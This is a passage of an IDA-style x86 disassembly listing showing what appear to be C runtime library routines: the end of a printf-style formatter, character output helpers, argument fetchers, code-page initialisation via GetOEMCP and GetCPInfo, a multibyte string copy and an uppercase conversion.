loc_4200BF ; --------------------------------------------------------------------------- loc_41FFEE: ; CODE XREF: sub_41FD3F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41FFFA or byte ptr [ebp+var_4+1], 8 loc_41FFFA: ; CODE XREF: sub_41FD3F+2B5j ; sub_41FD3F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_420041 call sub_42053B push eax lea eax, [ebp+var_248] push eax call sub_424523 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_420054 mov [ebp+var_28], 1 jmp short loc_420054 ; --------------------------------------------------------------------------- loc_42002B: ; CODE XREF: sub_41FD3F+1FBj sub eax, 5Ah jz short loc_420062 sub eax, 9 jz short loc_41FFFA dec eax jz loc_420224 jmp loc_420349 ; --------------------------------------------------------------------------- loc_420041: ; CODE XREF: sub_41FD3F+2C5j call sub_42051E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_420054: ; CODE XREF: sub_41FD3F+2E1j ; sub_41FD3F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_420349 ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_41FD3F+2EFj lea eax, [ebp+arg_8] push eax call sub_42051E test eax, eax pop ecx jz short loc_4200A3 mov ecx, [eax+4] test ecx, ecx jz short loc_4200A3 test byte ptr [ebp+var_4+1], 8 jz short loc_420094 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_420349 ; --------------------------------------------------------------------------- loc_420094: ; CODE XREF: sub_41FD3F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_420346 ; --------------------------------------------------------------------------- loc_4200A3: ; CODE XREF: sub_41FD3F+32Fj ; sub_41FD3F+336j mov eax, off_43F830 mov [ebp+var_8], eax push eax jmp loc_42013F ; --------------------------------------------------------------------------- loc_4200B1: ; CODE XREF: sub_41FD3F+29Dj jnz short loc_4200BF cmp bl, 67h jnz short loc_4200BF mov [ebp+var_10], 1 loc_4200BF: ; CODE XREF: sub_41FD3F+2AAj ; sub_41FD3F:loc_4200B1j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43FBC0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_420111 cmp [ebp+var_10], 0 jnz short loc_420111 lea eax, [ebp+var_248] push eax call off_43FBCC pop ecx loc_420111: ; CODE XREF: sub_41FD3F+3BCj ; sub_41FD3F+3C2j cmp bl, 67h jnz short loc_420128 test esi, esi jnz short loc_420128 lea eax, [ebp+var_248] push eax call off_43FBC4 pop ecx loc_420128: ; CODE XREF: sub_41FD3F+3D5j ; sub_41FD3F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_42013E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_42013E: ; CODE XREF: sub_41FD3F+3F0j push edi loc_42013F: ; CODE XREF: sub_41FD3F+36Dj call sub_41B650 pop ecx jmp loc_420346 ; --------------------------------------------------------------------------- loc_42014A: ; CODE XREF: sub_41FD3F+1E9j sub eax, 69h jz loc_420224 sub eax, 5 jz loc_4201FA dec eax jz loc_4201E7 dec eax jz short loc_4201B7 sub eax, 3 jz loc_41FF6C dec eax dec eax jz loc_420228 sub eax, 3 jnz loc_420349 mov [ebp+var_2C], 27h jmp short loc_4201C5 ; --------------------------------------------------------------------------- loc_420189: ; CODE XREF: sub_41FD3F+270j ; sub_41FD3F+27Aj sub eax, ecx sar eax, 1 jmp loc_420346 ; --------------------------------------------------------------------------- loc_420192: ; CODE XREF: sub_41FD3F+24Fj test ecx, ecx jnz short loc_42019F mov ecx, off_43F830 mov [ebp+var_8], ecx loc_42019F: ; CODE XREF: sub_41FD3F+455j mov eax, ecx loc_4201A1: ; CODE XREF: sub_41FD3F+46Fj mov edx, esi dec esi test edx, edx jz short loc_4201B0 cmp byte ptr [eax], 0 jz short loc_4201B0 inc eax jmp short loc_4201A1 ; --------------------------------------------------------------------------- loc_4201B0: ; CODE XREF: sub_41FD3F+467j ; sub_41FD3F+46Cj sub eax, ecx jmp loc_420346 ; --------------------------------------------------------------------------- loc_4201B7: ; CODE XREF: sub_41FD3F+425j mov [ebp+var_10], 8 loc_4201BE: ; CODE XREF: sub_41FD3F+201j mov [ebp+var_2C], 7 loc_4201C5: ; CODE XREF: sub_41FD3F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_42022F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_42022F ; --------------------------------------------------------------------------- loc_4201E7: ; CODE XREF: sub_41FD3F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_42022F or byte ptr [ebp+var_4+1], 2 jmp short loc_42022F ; --------------------------------------------------------------------------- loc_4201FA: ; CODE XREF: sub_41FD3F+417j lea eax, [ebp+arg_8] push eax call sub_42051E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_420213 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_420218 ; --------------------------------------------------------------------------- loc_420213: ; CODE XREF: sub_41FD3F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_420218: ; CODE XREF: sub_41FD3F+4D2j mov [ebp+var_28], 1 jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_420224: ; CODE XREF: sub_41FD3F+2F7j ; sub_41FD3F+40Ej or [ebp+var_4], 40h loc_420228: ; CODE XREF: sub_41FD3F+432j mov [ebp+var_C], 0Ah loc_42022F: ; CODE XREF: sub_41FD3F+491j ; sub_41FD3F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_420241 lea eax, [ebp+arg_8] push eax call sub_42052B pop ecx jmp short loc_420282 ; --------------------------------------------------------------------------- loc_420241: ; CODE XREF: sub_41FD3F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_420268 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42025D call sub_42051E pop ecx movsx eax, ax loc_42025A: ; CODE XREF: sub_41FD3F+527j ; sub_41FD3F+539j cdq jmp short loc_420282 ; --------------------------------------------------------------------------- loc_42025D: ; CODE XREF: sub_41FD3F+510j call sub_42051E pop ecx movzx eax, ax jmp short loc_42025A ; --------------------------------------------------------------------------- loc_420268: ; CODE XREF: sub_41FD3F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42027A call sub_42051E pop ecx jmp short loc_42025A ; --------------------------------------------------------------------------- loc_42027A: ; CODE XREF: sub_41FD3F+531j call sub_42051E pop ecx xor edx, edx loc_420282: ; CODE XREF: sub_41FD3F+500j ; sub_41FD3F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_4202A3 test edx, edx jg short loc_4202A3 jl short loc_420292 test eax, eax jnb short loc_4202A3 loc_420292: ; CODE XREF: sub_41FD3F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_4202A7 ; --------------------------------------------------------------------------- loc_4202A3: ; CODE XREF: sub_41FD3F+547j ; sub_41FD3F+54Bj ... mov esi, eax mov edi, edx loc_4202A7: ; CODE XREF: sub_41FD3F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_4202B0 and edi, 0 loc_4202B0: ; CODE XREF: sub_41FD3F+56Cj cmp [ebp+var_10], 0 jge short loc_4202BF mov [ebp+var_10], 1 jmp short loc_4202C3 ; --------------------------------------------------------------------------- loc_4202BF: ; CODE XREF: sub_41FD3F+575j and [ebp+var_4], 0FFFFFFF7h loc_4202C3: ; CODE XREF: sub_41FD3F+57Ej mov eax, esi or eax, edi jnz short loc_4202CD and [ebp+var_1C], 0 loc_4202CD: ; CODE XREF: sub_41FD3F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_4202D3: ; CODE XREF: sub_41FD3F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_4202E3 mov eax, esi or eax, edi jz short loc_42031E loc_4202E3: ; CODE XREF: sub_41FD3F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41DB20 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41DAB0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_420314 add ebx, [ebp+var_2C] loc_420314: ; CODE XREF: sub_41FD3F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_4202D3 ; --------------------------------------------------------------------------- loc_42031E: ; CODE XREF: sub_41FD3F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_420349 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_42033C test eax, eax jnz short loc_420349 loc_42033C: ; CODE XREF: sub_41FD3F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_420346: ; CODE XREF: sub_41FD3F+35Fj ; sub_41FD3F+406j ... mov [ebp+var_C], eax loc_420349: ; CODE XREF: sub_41FD3F+21Bj ; sub_41FD3F+2FDj ... cmp [ebp+var_28], 0 jnz loc_420447 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_420381 test bh, 1 jz short loc_420366 mov [ebp+var_16], 2Dh jmp short loc_42037A ; --------------------------------------------------------------------------- loc_420366: ; CODE XREF: sub_41FD3F+61Fj test bl, 1 jz short loc_420371 mov [ebp+var_16], 2Bh jmp short loc_42037A ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_41FD3F+62Aj test bl, 2 jz short loc_420381 mov [ebp+var_16], 20h loc_42037A: ; CODE XREF: sub_41FD3F+625j ; sub_41FD3F+630j mov [ebp+var_1C], 1 loc_420381: ; CODE XREF: sub_41FD3F+61Aj ; sub_41FD3F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_4203A1 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4204B5 add esp, 10h loc_4203A1: ; CODE XREF: sub_41FD3F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_4204E6 add esp, 10h test bl, 8 jz short loc_4203D3 test bl, 4 jnz short loc_4203D3 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4204B5 add esp, 10h loc_4203D3: ; CODE XREF: sub_41FD3F+67Bj ; sub_41FD3F+680j cmp [ebp+var_24], 0 jz short loc_42041A cmp [ebp+var_C], 0 jle short loc_42041A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_4203E8: ; CODE XREF: sub_41FD3F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_424523 pop ecx test eax, eax pop ecx jle short loc_42042F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_4204E6 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_4203E8 jmp short loc_42042F ; --------------------------------------------------------------------------- loc_42041A: ; CODE XREF: sub_41FD3F+698j ; sub_41FD3F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_4204E6 add esp, 10h loc_42042F: ; CODE XREF: sub_41FD3F+6BCj ; sub_41FD3F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_420447 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4204B5 add esp, 10h loc_420447: ; CODE XREF: sub_41FD3F+68j ; sub_41FD3F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41FD6B loc_420458: ; CODE XREF: sub_41FD3F+1Fj ; sub_41FD3F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41FD3F endp ; --------------------------------------------------------------------------- off_420460 dd offset loc_41FEDE ; DATA XREF: sub_41FD3F+6Er dd offset loc_41FDB4 ; jump table for switch statement dd offset loc_41FDCF dd offset loc_41FE1B dd offset loc_41FE52 dd offset loc_41FE5A dd offset loc_41FE8F dd offset loc_41FF22 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420480 proc near ; CODE XREF: sub_41FD3F+1BDp ; sub_41FD3F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_420499 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4204A4 ; --------------------------------------------------------------------------- loc_420499: ; CODE XREF: sub_420480+9j push ecx push [ebp+arg_0] call sub_41FC2A pop ecx pop ecx loc_4204A4: ; CODE XREF: sub_420480+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_4204B1 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4204B1: ; CODE XREF: sub_420480+2Aj inc dword ptr [eax] pop ebp retn sub_420480 endp ; =============== S U B R O U T I N E ======================================= sub_4204B5 proc near ; CODE XREF: sub_41FD3F+65Ap ; sub_41FD3F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_4204E3 mov esi, [esp+8+arg_C] loc_4204C6: ; CODE XREF: sub_4204B5+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_420480 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4204E3 mov eax, edi dec edi test eax, eax jg short loc_4204C6 loc_4204E3: ; CODE XREF: sub_4204B5+Bj ; sub_4204B5+25j pop edi pop esi retn sub_4204B5 endp ; =============== S U B R O U T I N E ======================================= sub_4204E6 proc near ; CODE XREF: sub_41FD3F+670p ; sub_41FD3F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_42051A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_4204FC: ; CODE XREF: sub_4204E6+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_420480 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_42051A mov eax, ebx dec ebx test eax, eax jg short loc_4204FC loc_42051A: ; CODE XREF: sub_4204E6+Cj ; sub_4204E6+2Bj pop edi pop esi pop ebx retn sub_4204E6 endp ; =============== S U B R O U T I N E ======================================= sub_42051E proc near ; CODE XREF: sub_41FD3F+E5p ; sub_41FD3F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_42051E endp ; =============== S U B R O U T I N E ======================================= sub_42052B proc near ; CODE XREF: sub_41FD3F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_42052B endp ; =============== S U B R O U T I N E ======================================= sub_42053B proc near ; CODE XREF: sub_41FD3F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_42053B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420549 proc near ; CODE XREF: sub_42090D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_4206E2 ; GetOEMCP mov esi, eax pop ecx cmp esi, dword_4DFA24 mov [ebp+arg_0], esi jz loc_4206D6 xor ebx, ebx cmp esi, ebx jz loc_4206CC xor edx, edx mov eax, offset dword_43F840 loc_42057D: ; CODE XREF: sub_420549+41j cmp [eax], esi jz short loc_4205F3 add eax, 30h inc edx cmp eax, offset dword_43F930 jl short loc_42057D lea eax, [ebp+var_18] push eax push esi call dword_428068 ; GetCPInfo cmp eax, 1 jnz loc_4206C4 push 40h xor eax, eax pop ecx mov edi, offset byte_4DFB40 cmp [ebp+var_18], 1 mov dword_4DFA24, esi rep stosd stosb mov dword_4DFC44, ebx jbe loc_4206B2 cmp [ebp+var_12], 0 jz loc_420688 lea ecx, [ebp+var_11] loc_4205D0: ; CODE XREF: sub_420549+139j mov dl, [ecx] test dl, dl jz loc_420688 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_4205E1: ; CODE XREF: sub_420549+A8j cmp eax, edx ja loc_42067C or byte_4DFB41[eax], 4 inc eax jmp short loc_4205E1 ; --------------------------------------------------------------------------- loc_4205F3: ; CODE XREF: sub_420549+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DFB40 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43F850[esi] loc_42060F: ; CODE XREF: sub_420549+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_420642 loc_420616: ; CODE XREF: sub_420549+F7j mov dl, [ecx+1] test dl, dl jz short loc_420642 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_42063B mov edx, [ebp+var_4] mov dl, byte_43F838[edx] loc_420630: ; CODE XREF: sub_420549+F0j or byte_4DFB41[eax], dl inc eax cmp eax, edi jbe short loc_420630 loc_42063B: ; CODE XREF: sub_420549+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_420616 loc_420642: ; CODE XREF: sub_420549+CBj ; sub_420549+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_42060F mov eax, [ebp+arg_0] mov dword_4DFA3C, 1 push eax mov dword_4DFA24, eax call sub_42072C lea esi, dword_43F844[esi] mov edi, offset dword_4DFA30 movsd movsd pop ecx mov dword_4DFC44, eax movsd jmp short loc_4206D1 ; --------------------------------------------------------------------------- loc_42067C: ; CODE XREF: sub_420549+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_4205D0 loc_420688: ; CODE XREF: sub_420549+7Ej ; sub_420549+8Bj push 1 pop eax loc_42068B: ; CODE XREF: sub_420549+14Fj or byte_4DFB41[eax], 8 inc eax cmp eax, 0FFh jb short loc_42068B push esi call sub_42072C pop ecx mov dword_4DFC44, eax mov dword_4DFA3C, 1 jmp short loc_4206B8 ; --------------------------------------------------------------------------- loc_4206B2: ; CODE XREF: sub_420549+74j mov dword_4DFA3C, ebx loc_4206B8: ; CODE XREF: sub_420549+167j xor eax, eax mov edi, offset dword_4DFA30 stosd stosd stosd jmp short loc_4206D1 ; --------------------------------------------------------------------------- loc_4206C4: ; CODE XREF: sub_420549+51j cmp dword_4DE650, ebx jz short loc_4206DA loc_4206CC: ; CODE XREF: sub_420549+27j call sub_42075F loc_4206D1: ; CODE XREF: sub_420549+131j ; sub_420549+179j call sub_420788 loc_4206D6: ; CODE XREF: sub_420549+1Dj xor eax, eax jmp short loc_4206DD ; --------------------------------------------------------------------------- loc_4206DA: ; CODE XREF: sub_420549+181j or eax, 0FFFFFFFFh loc_4206DD: ; CODE XREF: sub_420549+18Fj pop edi pop esi pop ebx leave retn sub_420549 endp ; =============== S U B R O U T I N E ======================================= sub_4206E2 proc near ; CODE XREF: sub_420549+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DE650, 0 cmp eax, 0FFFFFFFEh jnz short loc_420702 mov dword_4DE650, 1 jmp dword_428060 ; --------------------------------------------------------------------------- loc_420702: ; CODE XREF: sub_4206E2+Ej cmp eax, 0FFFFFFFDh jnz short loc_420717 mov dword_4DE650, 1 jmp dword_428064 ; --------------------------------------------------------------------------- loc_420717: ; CODE XREF: sub_4206E2+23j cmp eax, 0FFFFFFFCh jnz short locret_42072B mov eax, dword_4DE694 mov dword_4DE650, 1 locret_42072B: ; CODE XREF: sub_4206E2+38j retn sub_4206E2 endp ; =============== S U B R O U T I N E ======================================= sub_42072C proc near ; CODE XREF: sub_420549+118p ; sub_420549+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_420759 sub eax, 4 jz short loc_420753 sub eax, 0Dh jz short loc_42074D dec eax jz short loc_420747 xor eax, eax retn ; --------------------------------------------------------------------------- loc_420747: ; CODE XREF: sub_42072C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_42074D: ; CODE XREF: sub_42072C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_420753: ; CODE XREF: sub_42072C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_420759: ; CODE XREF: sub_42072C+9j mov eax, 411h retn sub_42072C endp ; =============== S U B R O U T I N E ======================================= sub_42075F proc near ; CODE XREF: sub_420549:loc_4206CCp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DFB40 rep stosd stosb xor eax, eax mov edi, offset dword_4DFA30 mov dword_4DFA24, eax mov dword_4DFA3C, eax mov dword_4DFC44, eax stosd stosd stosd pop edi retn sub_42075F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420788 proc near ; CODE XREF: sub_420549:loc_4206D1p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DFA24 call dword_428068 ; GetCPInfo cmp eax, 1 jnz loc_4208C1 xor eax, eax mov esi, 100h loc_4207B2: ; CODE XREF: sub_420788+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_4207B2 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420803 push ebx push edi lea edx, [ebp+var_D] loc_4207D1: ; CODE XREF: sub_420788+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_4207F8 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_4207F8: ; CODE XREF: sub_420788+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_4207D1 pop edi pop ebx loc_420803: ; CODE XREF: sub_420788+42j push 0 lea eax, [ebp+var_514] push dword_4DFC44 push dword_4DFA24 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_4243B4 push 0 lea eax, [ebp+var_214] push dword_4DFA24 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DFC44 call sub_42316A push 0 lea eax, [ebp+var_314] push dword_4DFA24 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DFC44 call sub_42316A add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_42087E: ; CODE XREF: sub_420788+135j mov dx, [ecx] test dl, 1 jz short loc_42089C or byte_4DFB41[eax], 10h mov dl, [ebp+eax+var_214] loc_420894: ; CODE XREF: sub_420788+127j mov byte_4DFA40[eax], dl jmp short loc_4208B8 ; --------------------------------------------------------------------------- loc_42089C: ; CODE XREF: sub_420788+FCj test dl, 2 jz short loc_4208B1 or byte_4DFB41[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_420894 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420788+117j and byte_4DFA40[eax], 0 loc_4208B8: ; CODE XREF: sub_420788+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_42087E jmp short loc_42090A ; --------------------------------------------------------------------------- loc_4208C1: ; CODE XREF: sub_420788+1Dj xor eax, eax mov esi, 100h loc_4208C8: ; CODE XREF: sub_420788+180j cmp eax, 41h jb short loc_4208E6 cmp eax, 5Ah ja short loc_4208E6 or byte_4DFB41[eax], 10h mov cl, al add cl, 20h loc_4208DE: ; CODE XREF: sub_420788+174j mov byte_4DFA40[eax], cl jmp short loc_420905 ; --------------------------------------------------------------------------- loc_4208E6: ; CODE XREF: sub_420788+143j ; sub_420788+148j cmp eax, 61h jb short loc_4208FE cmp eax, 7Ah ja short loc_4208FE or byte_4DFB41[eax], 20h mov cl, al sub cl, 20h jmp short loc_4208DE ; --------------------------------------------------------------------------- loc_4208FE: ; CODE XREF: sub_420788+161j ; sub_420788+166j and byte_4DFA40[eax], 0 loc_420905: ; CODE XREF: sub_420788+15Cj inc eax cmp eax, esi jb short loc_4208C8 loc_42090A: ; CODE XREF: sub_420788+137j pop esi leave retn sub_420788 endp ; =============== S U B R O U T I N E ======================================= sub_42090D proc near ; CODE XREF: sub_42353D+9p ; sub_423595+Dp ... cmp dword_4DFC74, 0 jnz short locret_420928 push 0FFFFFFFDh call sub_420549 pop ecx mov dword_4DFC74, 1 locret_420928: ; CODE XREF: sub_42090D+7j retn sub_42090D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420929 proc near ; CODE XREF: sub_41C041+2Bp ; sub_41C041+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DFA3C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_42094D push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41BC60 add esp, 0Ch jmp short loc_4209B0 ; --------------------------------------------------------------------------- loc_42094D: ; CODE XREF: sub_420929+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_420992 mov ecx, [ebp+arg_4] loc_420958: ; CODE XREF: sub_420929+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DFB41[esi], 4 mov [edi], al jz short loc_42097C inc edi inc ecx test edx, edx jz short loc_420988 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_42098E jmp short loc_420982 ; --------------------------------------------------------------------------- loc_42097C: ; CODE XREF: sub_420929+3Ej inc edi inc ecx test al, al jz short loc_420992 loc_420982: ; CODE XREF: sub_420929+51j test edx, edx jnz short loc_420958 jmp short loc_420992 ; --------------------------------------------------------------------------- loc_420988: ; CODE XREF: sub_420929+44j and byte ptr [edi-1], 0 jmp short loc_420992 ; --------------------------------------------------------------------------- loc_42098E: ; CODE XREF: sub_420929+4Fj and byte ptr [edi-2], 0 loc_420992: ; CODE XREF: sub_420929+2Aj ; sub_420929+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_4209AD lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_4209AD: ; CODE XREF: sub_420929+6Fj mov eax, [ebp+arg_0] loc_4209B0: ; CODE XREF: sub_420929+22j pop edi pop ebp retn sub_420929 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4209B3 proc near ; CODE XREF: sub_41C22D+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DE684, 0 push ebx jnz short loc_4209DE mov eax, [ebp+arg_0] cmp eax, 61h jl loc_420A7C cmp eax, 7Ah jg loc_420A7C sub eax, 20h jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209DE: ; CODE XREF: sub_4209B3+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420A11 cmp dword_43F824, 1 jle short loc_4209FE push 2 push ebx call sub_41FBB5 pop ecx pop ecx jmp short loc_420A09 ; --------------------------------------------------------------------------- loc_4209FE: ; CODE XREF: sub_4209B3+3Dj mov eax, off_43F618 mov al, [eax+ebx*2] and eax, 2 loc_420A09: ; CODE XREF: sub_4209B3+49j test eax, eax jnz short loc_420A11 loc_420A0D: ; CODE XREF: sub_4209B3+AFj mov eax, ebx jmp short loc_420A7C ; --------------------------------------------------------------------------- loc_420A11: ; CODE XREF: sub_4209B3+34j ; sub_4209B3+58j mov edx, off_43F618 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420A34 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_420A3D ; --------------------------------------------------------------------------- loc_420A34: ; CODE XREF: sub_4209B3+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_420A3D: ; CODE XREF: sub_4209B3+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DE684 call sub_42316A add esp, 20h test eax, eax jz short loc_420A0D cmp eax, 1 jnz short loc_420A6F movzx eax, [ebp+var_4] jmp short loc_420A7C ; --------------------------------------------------------------------------- loc_420A6F: ; CODE XREF: sub_4209B3+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_420A7C: ; CODE XREF: sub_4209B3+14j ; sub_4209B3+1Dj ... pop ebx leave retn sub_4209B3 